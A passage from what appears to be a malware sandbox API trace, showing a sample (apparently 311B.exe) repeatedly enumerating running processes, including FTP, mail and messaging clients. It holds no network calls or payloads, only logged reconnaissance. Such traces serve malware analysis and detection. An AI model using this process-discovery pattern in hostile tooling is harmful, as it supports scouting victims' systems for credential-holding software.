dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0225.960] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0225.961] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0225.963] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0225.965] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0225.967] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0225.968] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0225.970] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0225.972] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0225.974] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0225.975] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0226.022] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0226.024] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0226.026] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0226.028] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0226.029] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0226.031] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0226.032] CloseHandle (hObject=0x15f0) returned 1 [0226.032] Sleep (dwMilliseconds=0x64) [0226.066] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0226.076] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.078] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.080] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.088] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.090] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.091] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.093] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.095] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.096] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.147] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.148] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.150] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0226.151] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.153] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.154] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.155] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.157] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.158] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.160] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.161] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0226.163] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0226.164] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0226.166] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.167] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0226.169] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0226.170] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0226.172] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0226.173] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.174] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0226.176] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0226.178] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0226.179] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0226.181] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0226.182] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0226.184] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0226.185] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0226.187] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0226.188] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0226.255] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0226.256] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0226.258] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0226.259] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0226.261] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0226.262] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0226.263] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0226.265] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0226.266] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0226.268] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0226.270] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0226.271] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0226.273] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0226.275] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0226.276] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0226.277] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0226.279] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0226.280] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0226.282] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0226.283] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0226.285] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0226.287] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0226.289] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0226.290] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0226.292] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0226.294] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0226.296] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0226.357] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0226.360] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0226.362] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 